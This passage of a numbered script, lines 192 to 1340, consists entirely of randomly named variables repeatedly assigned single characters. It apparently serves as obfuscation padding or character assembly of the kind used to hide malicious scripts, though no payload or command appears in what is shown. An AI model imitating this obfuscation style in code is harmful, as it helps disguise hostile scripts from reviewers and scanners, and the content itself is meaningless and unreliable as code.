192	vucznuxy = "I";
193	vucznuxy = "C";
194	vucznuxy = "x";
195	vucznuxy = "g";
196	vucznuxy = "e";
197	vucznuxy = "x";
198	vucznuxy = "m";
199	vucznuxy = "q";
200	vucznuxy = "P";
201	vucznuxy = "h";
202	vucznuxy = "q";
203	vucznuxy = "q";
204	vucznuxy = "x";
205	vucznuxy = "q";
206	vucznuxy = "i";
207	vucznuxy = "q";
208	vucznuxy = "N";
209	vucznuxy = "d";
210	vucznuxy = "M";
211	vucznuxy = "u";
212	vucznuxy = "L";
213	vucznuxy = "n";
214	vucznuxy = "H";
215	vucznuxy = "F";
216	vucznuxy = "r";
217	shusmnw = "W";
218	shusmnw = "y";
219	shusmnw = "Q";
220	shusmnw = "t";
221	shusmnw = "I";
222	shusmnw = "a";
223	shusmnw = "O";
224	shusmnw = "M";
225	shusmnw = "x";
226	shusmnw = "A";
227	shusmnw = "U";
228	shusmnw = "w";
229	shusmnw = "A";
230	shusmnw = "w";
231	shusmnw = "c";
232	shusmnw = "C";
233	shusmnw = "u";
234	shusmnw = "m";
235	shusmnw = "o";
236	shusmnw = "r";
237	shusmnw = "n";
238	shusmnw = "Q";
239	shusmnw = "@";
240	olyderq = "S";
241	olyderq = "v";
242	olyderq = "v";
243	olyderq = "V";
244	olyderq = "u";
245	olyderq = "U";
246	olyderq = "h";
247	olyderq = "A";
248	olyderq = "v";
249	olyderq = "b";
250	olyderq = "U";
251	olyderq = "H";
252	olyderq = "y";
253	olyderq = "N";
254	xejmzjy = "o";
255	xejmzjy = "A";
256	xejmzjy = "c";
257	xejmzjy = "R";
258	xejmzjy = "D";
259	xejmzjy = "p";
260	xejmzjy = "o";
261	xejmzjy = "X";
262	xejmzjy = "i";
263	xejmzjy = "K";
264	xejmzjy = "t";
265	xejmzjy = "x";
266	xejmzjy = "x";
267	xejmzjy = "r";
268	xejmzjy = "I";
269	xejmzjy = "x";
270	xejmzjy = "Q";
271	xejmzjy = "l";
272	xejmzjy = "I";
273	xejmzjy = "S";
274	xejmzjy = "W";
275	xejmzjy = "e";
276	xejmzjy = "A";
277	xejmzjy = "H";
278	xejmzjy = "U";
279	xejmzjy = "w";
280	xejmzjy = "R";
281	xejmzjy = "K";
282	xejmzjy = "d";
283	xejmzjy = "F";
284	xejmzjy = "a";
285	xejmzjy = "J";
286	xejmzjy = "m";
287	xejmzjy = "V";
288	xejmzjy = "e";
289	mmchqtbv = "Z";
290	mmchqtbv = "K";
291	mmchqtbv = "J";
292	mmchqtbv = "P";
293	mmchqtbv = "N";
294	mmchqtbv = "i";
295	mmchqtbv = "B";
296	mmchqtbv = "g";
297	mmchqtbv = "D";
298	mmchqtbv = "&";
299	dhmjcbs = "c";
300	dhmjcbs = "n";
301	dhmjcbs = "q";
302	dhmjcbs = "l";
303	dhmjcbs = "L";
304	dhmjcbs = "N";
305	dhmjcbs = "O";
306	dhmjcbs = "w";
307	dhmjcbs = "V";
308	dhmjcbs = "W";
309	dhmjcbs = "N";
310	dhmjcbs = "d";
311	dhmjcbs = "V";
312	dhmjcbs = "W";
313	dhmjcbs = "s";
314	dhmjcbs = "S";
315	dhmjcbs = "H";
316	dhmjcbs = "y";
317	dhmjcbs = "d";
318	dhmjcbs = "y";
319	dhmjcbs = "b";
320	dhmjcbs = "T";
321	dhmjcbs = "n";
322	dhmjcbs = "a";
323	dhmjcbs = "J";
324	dhmjcbs = "v";
325	dhmjcbs = "w";
326	dhmjcbs = "f";
327	dhmjcbs = "F";
328	dhmjcbs = "E";
329	dhmjcbs = "G";
330	dhmjcbs = "Y";
331	dhmjcbs = ".";
332	tluht = "g";
333	tluht = "R";
334	tluht = "s";
335	tluht = "I";
336	tluht = "P";
337	tluht = "g";
338	tluht = "i";
339	tluht = "l";
340	tluht = "I";
341	tluht = "p";
342	tluht = "t";
343	tluht = "M";
344	tluht = "y";
345	tluht = "i";
346	tluht = "o";
347	tluht = "R";
348	tluht = "F";
349	tluht = "J";
350	tluht = "u";
351	tluht = "q";
352	tluht = "N";
353	tluht = "V";
354	tluht = "k";
355	tluht = "u";
356	tluht = "Z";
357	tluht = "E";
358	tluht = "f";
359	tluht = "o";
360	tluht = "Z";
361	tluht = "m";
362	tluht = "L";
363	herayv = "M";
364	herayv = "B";
365	herayv = "q";
366	herayv = "W";
367	herayv = "G";
368	herayv = "O";
369	herayv = "H";
370	herayv = "L";
371	herayv = "u";
372	herayv = "R";
373	herayv = "O";
374	herayv = "l";
375	herayv = "m";
376	herayv = "P";
377	herayv = "J";
378	herayv = "t";
379	herayv = "K";
380	herayv = "C";
381	herayv = "X";
382	herayv = "H";
383	herayv = "R";
384	herayv = "S";
385	herayv = "h";
386	herayv = "D";
387	herayv = "h";
388	herayv = "S";
389	herayv = "c";
390	herayv = "C";
391	herayv = "S";
392	herayv = "X";
393	herayv = "C";
394	herayv = "S";
395	herayv = "j";
396	herayv = "E";
397	herayv = "D";
398	herayv = "M";
399	herayv = "g";
400	mussuyta = "q";
401	mussuyta = "M";
402	mussuyta = "d";
403	mussuyta = "s";
404	mussuyta = "D";
405	mussuyta = "a";
406	mussuyta = "E";
407	mussuyta = "L";
408	mussuyta = "f";
409	mussuyta = "Q";
410	mussuyta = "U";
411	mussuyta = "I";
412	mussuyta = "g";
413	mussuyta = "Q";
414	mussuyta = "U";
415	mussuyta = "C";
416	mussuyta = "O";
417	mussuyta = "W";
418	mussuyta = "g";
419	mussuyta = "2";
420	jbzpofl = "X";
421	jbzpofl = "W";
422	jbzpofl = "m";
423	jbzpofl = "w";
424	jbzpofl = "V";
425	jbzpofl = "z";
426	jbzpofl = "c";
427	jbzpofl = "Z";
428	jbzpofl = "M";
429	jbzpofl = "s";
430	jbzpofl = "Z";
431	jbzpofl = "D";
432	jbzpofl = "H";
433	jbzpofl = "F";
434	jbzpofl = "F";
435	jbzpofl = "M";
436	jbzpofl = "K";
437	jbzpofl = "W";
438	jbzpofl = "G";
439	jbzpofl = "H";
440	jbzpofl = "N";
441	jbzpofl = "J";
442	jbzpofl = "k";
443	jbzpofl = "D";
444	jbzpofl = "D";
445	jbzpofl = "z";
446	jbzpofl = "v";
447	jbzpofl = "d";
448	jbzpofl = "Q";
449	jbzpofl = "n";
450	jbzpofl = "K";
451	jbzpofl = "O";
452	jbzpofl = "W";
453	jbzpofl = "X";
454	jbzpofl = "r";
455	jbzpofl = "o";
456	vudvlyhum = "x";
457	vudvlyhum = "d";
458	vudvlyhum = "G";
459	vudvlyhum = "h";
460	vudvlyhum = "T";
461	vudvlyhum = "U";
462	vudvlyhum = "F";
463	vudvlyhum = "c";
464	vudvlyhum = "Y";
465	vudvlyhum = "b";
466	vudvlyhum = "E";
467	vudvlyhum = "k";
468	umbezrr = "m";
469	umbezrr = "M";
470	umbezrr = "u";
471	umbezrr = "i";
472	umbezrr = "O";
473	umbezrr = "z";
474	umbezrr = "k";
475	umbezrr = "K";
476	umbezrr = "B";
477	umbezrr = "y";
478	umbezrr = "i";
479	umbezrr = "g";
480	umbezrr = "v";
481	ngwpk = "V";
482	ngwpk = "b";
483	ngwpk = "F";
484	ngwpk = "i";
485	ngwpk = "b";
486	ngwpk = "S";
487	ngwpk = "W";
488	ngwpk = "G";
489	ngwpk = "Z";
490	ngwpk = "b";
491	ngwpk = "D";
492	ngwpk = "3";
493	dxgowukg = "F";
494	dxgowukg = "w";
495	dxgowukg = "Z";
496	dxgowukg = "E";
497	dxgowukg = "D";
498	dxgowukg = "r";
499	dxgowukg = "F";
500	dxgowukg = "p";
501	dxgowukg = "a";
502	dxgowukg = "x";
503	dxgowukg = "Q";
504	dxgowukg = "s";
505	dxgowukg = "v";
506	dxgowukg = "m";
507	dxgowukg = "o";
508	dxgowukg = "v";
509	dxgowukg = "F";
510	dxgowukg = "S";
511	dxgowukg = "j";
512	dxgowukg = "U";
513	dxgowukg = "k";
514	dxgowukg = "l";
515	dxgowukg = "m";
516	dxgowukg = "A";
517	dxgowukg = "o";
518	dxgowukg = "J";
519	dxgowukg = "O";
520	dxgowukg = "N";
521	dxgowukg = "W";
522	dxgowukg = "p";
523	dxgowukg = "B";
524	dxgowukg = "q";
525	dxgowukg = "V";
526	dxgowukg = "d";
527	dxgowukg = "o";
528	dxgowukg = "M";
529	dxgowukg = "B";
530	dxgowukg = "d";
531	dxgowukg = "W";
532	okhdib = "d";
533	okhdib = "M";
534	okhdib = "q";
535	okhdib = "O";
536	okhdib = "a";
537	okhdib = "h";
538	okhdib = "j";
539	okhdib = "C";
540	okhdib = "i";
541	okhdib = "Y";
542	okhdib = "g";
543	okhdib = "T";
544	okhdib = "X";
545	okhdib = "Z";
546	okhdib = "v";
547	okhdib = "y";
548	okhdib = "M";
549	okhdib = "E";
550	fpehn = "p";
551	fpehn = "M";
552	fpehn = "E";
553	fpehn = "W";
554	fpehn = "g";
555	fpehn = "H";
556	fpehn = "A";
557	fpehn = "e";
558	fpehn = "n";
559	fpehn = "a";
560	fpehn = "E";
561	fpehn = "u";
562	fpehn = "Z";
563	fpehn = "A";
564	fpehn = "W";
565	fpehn = "Z";
566	fpehn = "b";
567	lgers = "w";
568	lgers = "P";
569	lgers = "V";
570	lgers = "i";
571	lgers = "c";
572	lgers = "K";
573	lgers = "N";
574	lgers = "N";
575	lgers = "I";
576	lgers = "g";
577	lgers = "O";
578	lgers = "J";
579	lgers = "d";
580	lgers = "x";
581	lgers = "g";
582	lgers = "Y";
583	lgers = "p";
584	lgers = "q";
585	lgers = "m";
586	lgers = "c";
587	lgers = "t";
588	lgers = "E";
589	lgers = "W";
590	lgers = "q";
591	lgers = "j";
592	obocy = "W";
593	obocy = "B";
594	obocy = "z";
595	obocy = "g";
596	obocy = "v";
597	obocy = "I";
598	obocy = "D";
599	obocy = "r";
600	obocy = "P";
601	obocy = "f";
602	obocy = "e";
603	obocy = "U";
604	obocy = "o";
605	obocy = "J";
606	obocy = "I";
607	obocy = "t";
608	obocy = "-";
609	loymbl = "Y";
610	loymbl = "d";
611	loymbl = "z";
612	loymbl = "m";
613	xvwtnitf = "M";
614	xvwtnitf = "X";
615	xvwtnitf = "r";
616	xvwtnitf = "j";
617	xvwtnitf = "T";
618	xvwtnitf = "I";
619	xvwtnitf = "E";
620	xvwtnitf = "Z";
621	xvwtnitf = "N";
622	xvwtnitf = "G";
623	xvwtnitf = "l";
624	xvwtnitf = "H";
625	xvwtnitf = "S";
626	xvwtnitf = "E";
627	xvwtnitf = "R";
628	xvwtnitf = "j";
629	xvwtnitf = "w";
630	xvwtnitf = "Q";
631	xvwtnitf = "w";
632	xvwtnitf = "b";
633	xvwtnitf = "s";
634	xvwtnitf = "m";
635	xvwtnitf = "W";
636	xvwtnitf = "t";
637	xvwtnitf = "M";
638	xvwtnitf = "u";
639	xvwtnitf = "w";
640	xvwtnitf = "Z";
641	xvwtnitf = "\\";
642	kcqpw = "G";
643	kcqpw = "b";
644	kcqpw = "r";
645	kcqpw = "R";
646	kcqpw = "V";
647	kcqpw = "G";
648	kcqpw = "h";
649	kcqpw = "F";
650	kcqpw = "G";
651	kcqpw = "y";
652	kcqpw = "x";
653	kcqpw = "U";
654	kcqpw = "P";
655	kcqpw = "i";
656	kcqpw = "k";
657	kcqpw = "A";
658	kcqpw = "Y";
659	kcqpw = "F";
660	kcqpw = "m";
661	kcqpw = "Q";
662	kcqpw = "e";
663	kcqpw = "x";
664	kcqpw = "P";
665	kcqpw = "J";
666	kcqpw = "h";
667	kcqpw = "r";
668	kcqpw = "n";
669	kcqpw = "V";
670	kcqpw = "s";
671	kcqpw = "b";
672	kcqpw = "U";
673	kcqpw = "z";
674	kcqpw = "Z";
675	kcqpw = "U";
676	kcqpw = "i";
677	kcqpw = "R";
678	fukbf = "C";
679	fukbf = "t";
680	fukbf = "Y";
681	fukbf = "v";
682	fukbf = "r";
683	fukbf = "s";
684	fukbf = "P";
685	fukbf = "T";
686	fukbf = "V";
687	fukbf = "R";
688	fukbf = "N";
689	fukbf = "f";
690	fukbf = "X";
691	fukbf = "W";
692	fukbf = "m";
693	fukbf = "r";
694	fukbf = "Z";
695	fukbf = "b";
696	fukbf = "a";
697	fukbf = "U";
698	fukbf = "c";
699	fukbf = "M";
700	fukbf = "M";
701	fukbf = "Q";
702	fukbf = "W";
703	fukbf = "i";
704	fukbf = "h";
705	fukbf = "y";
706	fukbf = "G";
707	fukbf = "j";
708	fukbf = "s";
709	fukbf = "g";
710	fukbf = "O";
711	fukbf = "g";
712	fukbf = "d";
713	fukbf = "5";
714	ptcjzvq = "U";
715	ptcjzvq = "T";
716	ptcjzvq = "w";
717	ptcjzvq = "A";
718	ptcjzvq = "o";
719	ptcjzvq = "A";
720	ptcjzvq = "q";
721	ptcjzvq = "D";
722	ptcjzvq = "N";
723	ptcjzvq = "M";
724	ptcjzvq = "G";
725	ptcjzvq = "q";
726	ptcjzvq = "n";
727	ptcjzvq = "S";
728	kgabwix = "L";
729	kgabwix = "P";
730	kgabwix = "z";
731	kgabwix = "b";
732	kgabwix = "a";
733	kgabwix = "A";
734	kgabwix = "O";
735	kgabwix = "L";
736	kgabwix = "K";
737	kgabwix = "R";
738	kgabwix = "q";
739	kgabwix = "m";
740	kgabwix = "g";
741	kgabwix = "H";
742	kgabwix = ":";
743	mnqbwl = "m";
744	mnqbwl = "j";
745	mnqbwl = "h";
746	mnqbwl = "T";
747	mnqbwl = "G";
748	mnqbwl = "J";
749	mnqbwl = "u";
750	mnqbwl = "G";
751	mnqbwl = "V";
752	mnqbwl = "v";
753	mnqbwl = "x";
754	mnqbwl = "Y";
755	mnqbwl = "c";
756	mnqbwl = "N";
757	mnqbwl = "W";
758	mnqbwl = "g";
759	mnqbwl = "Z";
760	mnqbwl = "O";
761	mnqbwl = "d";
762	mnqbwl = "w";
763	mnqbwl = "h";
764	mnqbwl = "A";
765	mnqbwl = "E";
766	mnqbwl = "d";
767	mnqbwl = "d";
768	mnqbwl = "j";
769	mnqbwl = "n";
770	mnqbwl = "Y";
771	mnqbwl = "n";
772	mnqbwl = "q";
773	mnqbwl = "n";
774	mnqbwl = "Z";
775	mnqbwl = "r";
776	mnqbwl = "H";
777	pyyhbc = "B";
778	pyyhbc = "Z";
779	pyyhbc = "j";
780	pyyhbc = "M";
781	pyyhbc = "z";
782	pyyhbc = "j";
783	pyyhbc = "z";
784	pyyhbc = "R";
785	pyyhbc = "M";
786	pyyhbc = "E";
787	pyyhbc = "R";
788	pyyhbc = "E";
789	pyyhbc = "x";
790	pyyhbc = "c";
791	pyyhbc = "i";
792	pyyhbc = "j";
793	pyyhbc = "e";
794	pyyhbc = "s";
795	pyyhbc = "y";
796	pyyhbc = "u";
797	pyyhbc = "C";
798	pyyhbc = "V";
799	pyyhbc = "w";
800	pyyhbc = "K";
801	pyyhbc = "e";
802	pyyhbc = "c";
803	pyyhbc = "O";
804	pyyhbc = "W";
805	pyyhbc = "p";
806	pyyhbc = "A";
807	pyyhbc = "z";
808	pyyhbc = "M";
809	pyyhbc = "V";
810	pyyhbc = "R";
811	pyyhbc = "M";
812	pyyhbc = "b";
813	pyyhbc = "7";
814	cflbbaoeu = "/";
815	opcsvj = "N";
816	opcsvj = "H";
817	opcsvj = "M";
818	opcsvj = "j";
819	opcsvj = "S";
820	opcsvj = "i";
821	opcsvj = "E";
822	opcsvj = "i";
823	opcsvj = "u";
824	opcsvj = "N";
825	opcsvj = "a";
826	opcsvj = "a";
827	opcsvj = "T";
828	opcsvj = "x";
829	opcsvj = "v";
830	opcsvj = "I";
831	opcsvj = "O";
832	opcsvj = "u";
833	opcsvj = "A";
834	opcsvj = "y";
835	opcsvj = "C";
836	opcsvj = "p";
837	opcsvj = "B";
838	opcsvj = "W";
839	opcsvj = "v";
840	opcsvj = "b";
841	opcsvj = "F";
842	opcsvj = "m";
843	opcsvj = "J";
844	opcsvj = "R";
845	opcsvj = "a";
846	opcsvj = "t";
847	opcsvj = "F";
848	opcsvj = "M";
849	opcsvj = "x";
850	opcsvj = "V";
851	opcsvj = "e";
852	opcsvj = "k";
853	opcsvj = "u";
854	opcsvj = "n";
855	ghrizweec = "K";
856	ghrizweec = "b";
857	ghrizweec = "H";
858	ghrizweec = "L";
859	ghrizweec = "A";
860	ghrizweec = "c";
861	ghrizweec = "K";
862	ghrizweec = "G";
863	ghrizweec = "q";
864	npigyi = "s";
865	npigyi = "r";
866	npigyi = "l";
867	npigyi = "f";
868	npigyi = "d";
869	npigyi = "k";
870	npigyi = "d";
871	npigyi = "x";
872	npigyi = "g";
873	npigyi = "V";
874	npigyi = "C";
875	npigyi = "V";
876	npigyi = "Y";
877	npigyi = "S";
878	npigyi = "u";
879	npigyi = "w";
880	npigyi = "i";
881	rxeehvo = "e";
882	rxeehvo = "A";
883	rxeehvo = "J";
884	rxeehvo = "E";
885	rxeehvo = "n";
886	rxeehvo = "a";
887	rxeehvo = "d";
888	rxeehvo = "x";
889	rxeehvo = "T";
890	rxeehvo = "W";
891	rxeehvo = "m";
892	rxeehvo = "B";
893	rxeehvo = "i";
894	rxeehvo = "K";
895	rxeehvo = "o";
896	rxeehvo = "X";
897	rxeehvo = "I";
898	rxeehvo = "G";
899	rxeehvo = "g";
900	rxeehvo = "y";
901	rxeehvo = "C";
902	rxeehvo = "T";
903	rxeehvo = "V";
904	rxeehvo = "l";
905	rxeehvo = "q";
906	rxeehvo = "X";
907	rxeehvo = "q";
908	rxeehvo = "P";
909	rxeehvo = "E";
910	rxeehvo = "L";
911	rxeehvo = "l";
912	rxeehvo = "Z";
913	rxeehvo = "g";
914	rxeehvo = "d";
915	aivfiqzuo = "s";
916	aivfiqzuo = "E";
917	aivfiqzuo = "v";
918	aivfiqzuo = "D";
919	aivfiqzuo = "M";
920	aivfiqzuo = "x";
921	aivfiqzuo = "K";
922	aivfiqzuo = "u";
923	aivfiqzuo = "f";
924	aivfiqzuo = "h";
925	aivfiqzuo = "w";
926	aivfiqzuo = "I";
927	aivfiqzuo = "x";
928	aivfiqzuo = "y";
929	aivfiqzuo = "l";
930	aivfiqzuo = "G";
931	aivfiqzuo = "D";
932	aivfiqzuo = "q";
933	aivfiqzuo = "C";
934	aivfiqzuo = "o";
935	aivfiqzuo = "N";
936	aivfiqzuo = "k";
937	aivfiqzuo = "H";
938	aivfiqzuo = "b";
939	aivfiqzuo = "V";
940	aivfiqzuo = "r";
941	aivfiqzuo = "Q";
942	aivfiqzuo = "R";
943	aivfiqzuo = "I";
944	aivfiqzuo = "z";
945	aivfiqzuo = "l";
946	aivfiqzuo = "H";
947	aivfiqzuo = "r";
948	aivfiqzuo = "J";
949	aivfiqzuo = "D";
950	aivfiqzuo = "l";
951	aivfiqzuo = "p";
952	aivfiqzuo = "i";
953	aivfiqzuo = "a";
954	aivfiqzuo = "K";
955	mtnixobeh = "l";
956	mtnixobeh = "g";
957	mtnixobeh = "j";
958	mtnixobeh = "O";
959	mtnixobeh = "O";
960	mtnixobeh = "L";
961	mtnixobeh = "i";
962	mtnixobeh = "B";
963	mtnixobeh = "W";
964	mtnixobeh = "s";
965	mtnixobeh = "M";
966	mtnixobeh = "v";
967	mtnixobeh = "t";
968	mtnixobeh = "L";
969	mtnixobeh = "F";
970	mtnixobeh = "N";
971	mtnixobeh = "F";
972	mtnixobeh = "e";
973	mtnixobeh = "Z";
974	mtnixobeh = "g";
975	mtnixobeh = "t";
976	mtnixobeh = "H";
977	mtnixobeh = "S";
978	mtnixobeh = "I";
979	mtnixobeh = "U";
980	mtnixobeh = "s";
981	mtnixobeh = "N";
982	mtnixobeh = "N";
983	mtnixobeh = "U";
984	mtnixobeh = "q";
985	mtnixobeh = "X";
986	mtnixobeh = "e";
987	mtnixobeh = "I";
988	mtnixobeh = "E";
989	mtnixobeh = "w";
990	mtnixobeh = "c";
991	mtnixobeh = "l";
992	mtnixobeh = "a";
993	mtrpibdc = "s";
994	mtrpibdc = "f";
995	mtrpibdc = "W";
996	mtrpibdc = "u";
997	mtrpibdc = "D";
998	mtrpibdc = "u";
999	mtrpibdc = "P";
1000	mtrpibdc = "C";
1001	mtrpibdc = "t";
1002	mtrpibdc = "L";
1003	mtrpibdc = "F";
1004	mtrpibdc = "B";
1005	mtrpibdc = "p";
1006	mtrpibdc = "F";
1007	mtrpibdc = "z";
1008	mtrpibdc = "Y";
1009	mtrpibdc = "o";
1010	mtrpibdc = "u";
1011	mtrpibdc = "d";
1012	mtrpibdc = "a";
1013	mtrpibdc = "m";
1014	mtrpibdc = "o";
1015	mtrpibdc = "O";
1016	mtrpibdc = "T";
1017	mtrpibdc = "B";
1018	mtrpibdc = "T";
1019	mtrpibdc = "a";
1020	mtrpibdc = "n";
1021	mtrpibdc = "A";
1022	mtrpibdc = "y";
1023	mtrpibdc = "y";
1024	mtrpibdc = "M";
1025	mtrpibdc = "R";
1026	mtrpibdc = "T";
1027	mtrpibdc = "f";
1028	mtrpibdc = "V";
1029	mtrpibdc = "T";
1030	mtrpibdc = "z";
1031	mtrpibdc = "h";
1032	mtrpibdc = "j";
1033	mtrpibdc = "k";
1034	mtrpibdc = "h";
1035	mtrpibdc = "d";
1036	mtrpibdc = "m";
1037	mtrpibdc = "T";
1038	yrnwzsw = "P";
1039	yrnwzsw = "p";
1040	yrnwzsw = "i";
1041	yrnwzsw = "b";
1042	yrnwzsw = "n";
1043	yrnwzsw = "Z";
1044	yrnwzsw = "e";
1045	yrnwzsw = "C";
1046	yrnwzsw = "h";
1047	yrnwzsw = "H";
1048	yrnwzsw = "u";
1049	yrnwzsw = "O";
1050	yrnwzsw = "h";
1051	yrnwzsw = "B";
1052	yrnwzsw = "p";
1053	yrnwzsw = "n";
1054	yrnwzsw = "T";
1055	yrnwzsw = "f";
1056	yrnwzsw = "o";
1057	yrnwzsw = "H";
1058	yrnwzsw = "t";
1059	bnuwdkn = "m";
1060	bnuwdkn = "D";
1061	bnuwdkn = "m";
1062	bnuwdkn = "b";
1063	bnuwdkn = "A";
1064	bnuwdkn = "b";
1065	bnuwdkn = "X";
1066	bnuwdkn = "A";
1067	bnuwdkn = "X";
1068	bnuwdkn = "y";
1069	bnuwdkn = "d";
1070	bnuwdkn = "B";
1071	bnuwdkn = "Y";
1072	bnuwdkn = "v";
1073	bnuwdkn = "s";
1074	bnuwdkn = "I";
1075	bnuwdkn = "G";
1076	bnuwdkn = "p";
1077	bnuwdkn = "B";
1078	bnuwdkn = "S";
1079	bnuwdkn = "E";
1080	bnuwdkn = "N";
1081	bnuwdkn = "O";
1082	bnuwdkn = "W";
1083	bnuwdkn = "K";
1084	bnuwdkn = "r";
1085	bnuwdkn = "q";
1086	bnuwdkn = "l";
1087	bnuwdkn = "K";
1088	bnuwdkn = "W";
1089	bnuwdkn = "q";
1090	bnuwdkn = "b";
1091	bnuwdkn = "I";
1092	bnuwdkn = "b";
1093	bnuwdkn = "c";
1094	bnuwdkn = "O";
1095	wsqsjfnpo = "G";
1096	wsqsjfnpo = "E";
1097	wsqsjfnpo = "X";
1098	wsqsjfnpo = "V";
1099	wsqsjfnpo = "g";
1100	wsqsjfnpo = "B";
1101	wsqsjfnpo = "8";
1102	rjunkw = "J";
1103	rjunkw = "b";
1104	rjunkw = "R";
1105	rjunkw = "l";
1106	vdxkuxqu = "G";
1107	vdxkuxqu = "u";
1108	vdxkuxqu = "r";
1109	vdxkuxqu = "N";
1110	vdxkuxqu = "q";
1111	vdxkuxqu = "o";
1112	vdxkuxqu = "q";
1113	vdxkuxqu = "f";
1114	vdxkuxqu = "b";
1115	vdxkuxqu = "Q";
1116	vdxkuxqu = "C";
1117	vdxkuxqu = "v";
1118	vdxkuxqu = "g";
1119	vdxkuxqu = "P";
1120	vdxkuxqu = "h";
1121	vdxkuxqu = "w";
1122	vdxkuxqu = "i";
1123	vdxkuxqu = "y";
1124	vdxkuxqu = "n";
1125	vdxkuxqu = "u";
1126	vdxkuxqu = "v";
1127	vdxkuxqu = "s";
1128	vdxkuxqu = "i";
1129	vdxkuxqu = "h";
1130	vdxkuxqu = "Z";
1131	vdxkuxqu = "A";
1132	vdxkuxqu = "u";
1133	vdxkuxqu = "o";
1134	vdxkuxqu = "n";
1135	vdxkuxqu = "c";
1136	cufeqqfer = "F";
1137	cufeqqfer = "f";
1138	heasecb = "C";
1139	heasecb = "p";
1140	yyulw = "m";
1141	yyulw = "S";
1142	yyulw = "O";
1143	yyulw = "K";
1144	yyulw = "R";
1145	yyulw = "d";
1146	yyulw = "W";
1147	yyulw = "x";
1148	yyulw = "K";
1149	yyulw = "u";
1150	wtujsee = "B";
1151	wtujsee = "V";
1152	wtujsee = "p";
1153	wtujsee = "L";
1154	wtujsee = "h";
1155	wtujsee = "c";
1156	wtujsee = "E";
1157	wtujsee = "J";
1158	wtujsee = "i";
1159	wtujsee = "q";
1160	wtujsee = "D";
1161	wtujsee = "Q";
1162	wtujsee = "k";
1163	wtujsee = "f";
1164	wtujsee = "h";
1165	wtujsee = "E";
1166	wtujsee = "m";
1167	wtujsee = "X";
1168	wtujsee = "1";
1169	bcfgzdndj = "W";
1170	bcfgzdndj = "J";
1171	bcfgzdndj = "T";
1172	bcfgzdndj = "P";
1173	bcfgzdndj = "l";
1174	bcfgzdndj = "\"";
1175	zrpwgf = "r";
1176	zrpwgf = "m";
1177	zrpwgf = "h";
1178	zrpwgf = "P";
1179	zrpwgf = "j";
1180	zrpwgf = "Z";
1181	zrpwgf = "Q";
1182	zrpwgf = "6";
1183	smztotgtg = "C";
1184	smztotgtg = "m";
1185	smztotgtg = "k";
1186	smztotgtg = "F";
1187	smztotgtg = "q";
1188	smztotgtg = "n";
1189	smztotgtg = "q";
1190	smztotgtg = "G";
1191	smztotgtg = "k";
1192	smztotgtg = "a";
1193	smztotgtg = "X";
1194	smztotgtg = "p";
1195	smztotgtg = "K";
1196	smztotgtg = "l";
1197	smztotgtg = "O";
1198	smztotgtg = "O";
1199	smztotgtg = "o";
1200	smztotgtg = "k";
1201	smztotgtg = "C";
1202	smztotgtg = "M";
1203	smztotgtg = "Z";
1204	smztotgtg = "N";
1205	smztotgtg = "F";
1206	smztotgtg = "v";
1207	smztotgtg = "y";
1208	smztotgtg = "h";
1209	smztotgtg = "A";
1210	smztotgtg = "Y";
1211	smztotgtg = "f";
1212	smztotgtg = "f";
1213	smztotgtg = "K";
1214	smztotgtg = "Y";
1215	smztotgtg = "P";
1216	fboxpxmf = "n";
1217	fboxpxmf = "c";
1218	fboxpxmf = "B";
1219	fboxpxmf = "Y";
1220	fboxpxmf = "U";
1221	fboxpxmf = "B";
1222	fboxpxmf = "R";
1223	fboxpxmf = "u";
1224	fboxpxmf = "S";
1225	fboxpxmf = "A";
1226	fboxpxmf = "z";
1227	fboxpxmf = "k";
1228	fboxpxmf = "H";
1229	fboxpxmf = "A";
1230	fboxpxmf = "B";
1231	fboxpxmf = "P";
1232	fboxpxmf = "O";
1233	fboxpxmf = "M";
1234	fboxpxmf = "e";
1235	fboxpxmf = "q";
1236	fboxpxmf = "d";
1237	fboxpxmf = "o";
1238	fboxpxmf = "X";
1239	fboxpxmf = "m";
1240	fboxpxmf = "Z";
1241	fboxpxmf = "e";
1242	fboxpxmf = "h";
1243	fboxpxmf = "V";
1244	fboxpxmf = "R";
1245	fboxpxmf = "X";
1246	fboxpxmf = "T";
1247	fboxpxmf = "s";
1248	fboxpxmf = "E";
1249	fboxpxmf = "r";
1250	fboxpxmf = "x";
1251	fboxpxmf = "h";
1252	jzgyt = "r";
1253	jzgyt = "e";
1254	jzgyt = "E";
1255	jzgyt = "T";
1256	jzgyt = "T";
1257	jzgyt = "Y";
1258	jzgyt = "Z";
1259	jzgyt = "Q";
1260	jzgyt = "j";
1261	jzgyt = "X";
1262	jzgyt = "O";
1263	jzgyt = "Y";
1264	jzgyt = "d";
1265	jzgyt = "I";
1266	jzgyt = "Y";
1267	jzgyt = "z";
1268	jzgyt = "k";
1269	jzgyt = "k";
1270	jzgyt = "b";
1271	jzgyt = "n";
1272	jzgyt = "b";
1273	jzgyt = "V";
1274	jzgyt = "V";
1275	jzgyt = "i";
1276	jzgyt = "n";
1277	jzgyt = "G";
1278	jzgyt = "I";
1279	jzgyt = "i";
1280	jzgyt = "V";
1281	jzgyt = "j";
1282	jzgyt = "n";
1283	jzgyt = "M";
1284	jzgyt = "H";
1285	jzgyt = "k";
1286	jzgyt = "k";
1287	jzgyt = "j";
1288	jzgyt = "l";
1289	jzgyt = "K";
1290	jzgyt = "d";
1291	jzgyt = "Z";
1292	jzgyt = "w";
1293	qldfvkpsm = "q";
1294	qldfvkpsm = "w";
1295	qldfvkpsm = "E";
1296	qldfvkpsm = "z";
1297	qldfvkpsm = "w";
1298	qldfvkpsm = "Y";
1299	qldfvkpsm = "Z";
1300	qldfvkpsm = "n";
1301	qldfvkpsm = "j";
1302	qldfvkpsm = "m";
1303	qldfvkpsm = "F";
1304	qldfvkpsm = "k";
1305	qldfvkpsm = "R";
1306	qldfvkpsm = "C";
1307	qldfvkpsm = "P";
1308	qldfvkpsm = "v";
1309	qldfvkpsm = "E";
1310	qldfvkpsm = "P";
1311	qldfvkpsm = "V";
1312	qldfvkpsm = "l";
1313	qldfvkpsm = "x";
1314	kurxles = "v";
1315	kurxles = "r";
1316	kurxles = "d";
1317	kurxles = "G";
1318	kurxles = "H";
1319	kurxles = "C";
1320	kurxles = "b";
1321	kurxles = "h";
1322	kurxles = "T";
1323	kurxles = "u";
1324	kurxles = "d";
1325	kurxles = "C";
1326	kurxles = "v";
1327	kurxles = "E";
1328	kurxles = "y";
1329	kurxles = "c";
1330	kurxles = "K";
1331	kurxles = "I";
1332	kurxles = "W";
1333	kurxles = "W";
1334	kurxles = "k";
1335	kurxles = "H";
1336	kurxles = "O";
1337	kurxles = "j";
1338	kurxles = "v";
1339	kurxles = "i";
1340	kurxles = "w";
